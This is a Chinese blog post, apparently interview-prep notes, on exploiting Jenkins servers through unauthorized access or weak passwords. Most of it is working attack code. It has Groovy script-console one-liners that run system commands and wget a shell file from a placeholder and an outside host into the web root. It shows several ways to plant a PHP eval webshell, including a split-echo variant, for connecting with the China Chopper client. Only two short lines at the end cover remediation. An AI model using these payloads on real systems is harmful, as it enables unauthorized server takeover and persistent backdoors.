zoukankan      html  css  js  c++  java
  • jenkins未授权访问/弱口令漏洞

    昨天晚上面试官问到了,还没来得及看,今天又问到了,猝不及防,蓝瘦,香菇、、、

    今天特此总结一下,给自己一个交代。

    总述:进入后台可进行如下操作:

    直接执行系统命令:

    println "cmd".execute().text
    

    wget下载文件getshell:

    println "wget http://xxxx/tools/shell.php -P /tmp/".execute().text 
    

    创建文件getshell:

    new File("/var/www/html/media.php").write('<?php @eval($_POST[s3cpu1se]);?>');
    

    Terminal Plugin插件直接执行命令

    安装Terminal Plugin插件即可。
    

    漏洞描述

    默认情况下Jenkins面板中用户可以选择执行脚本界面来操作一些系统层命令,攻击者可通过未授权访问漏洞或者暴力破解用户密码等进脚本执行界面从而获取服务器权限。

    漏洞危害

    Jenkins未授权访问可执行命令,可反弹shell等等

    漏洞利用

    登录/弱口令登录
    http://url:8080/manage
    http://url:8080/script
    

    登录界面:

    选择“系统管理”

    登陆后,选择脚本命令执行:

    命令执行:
    println "ifconfig -a".execute().text
    println "wget http://xxxx/tools/shell.php -P /tmp/".execute().text   
    
    获得shell

    利用”脚本命令行” 写入webshell,内容如下:

    new File("/var/www/html/media.php").write('<?php @eval($_POST[cmd]);?>');
    

    其他写shell方法:

    ① wget写webshell
    println "wget http://shell.secpulse.com/data/t.txt -o /var/www/html/media.php".execute().text
    
    ②
    new File("/var/www/html/media.php").write('<?php @eval($_POST[s3cpu1se]);?>');
    
    ③
    def webshell = '<?php @eval($_POST[s3cpu1se]);?>'
    new File("/var/www/html/media.php").write("$webshell");
    
    ④追加法写webshell
    def execute(cmd) {
    def proc =  cmd.execute()
    proc.waitFor()
    }
    
    execute( [ 'bash', '-c', 'echo -n "<?php @eval($" > /usr/local/nginx_1119/html/media.php' ] )
    execute( [ 'bash', '-c', 'echo "_POST[s3cpu1se]);?>" >> /usr/local/nginx_1119/html/media.php' ] )
    
    //参数-n 不要在最后自动换行
    

    点击“运行”,没有报错,上传成功

    菜刀连接即可。

    Terminal Plugin

    可以搜索安装Terminal Plugin,执行命令。

    漏洞修复

    • 1、禁止把Jenkins直接暴露在公网
    • 2、添加认证,设置强密码复杂度及账号锁定。
  • 相关阅读:
    mysql "ON DUPLICATE KEY UPDATE" 语法
    HTTP协议中PUT和POST使用区别
    layui 表单渲染失败
    golang 一行代码 把array/slice转成逗号分隔的字符串
    关于layui、table数据表格请求异常回调函数
    关于layui表单中按钮自动提交的解决方法
    使用 socket.io 报错 Error during WebSocket handshake: Unexpected response code: 400
    解决MySQL报错:[Err] 1055
    jetbrains 修改 http proxy 更换代理
    layui layuiadmin layui.data 数据操作
  • 原文地址:https://www.cnblogs.com/forforever/p/14019868.html
Copyright © 2011-2022 走看看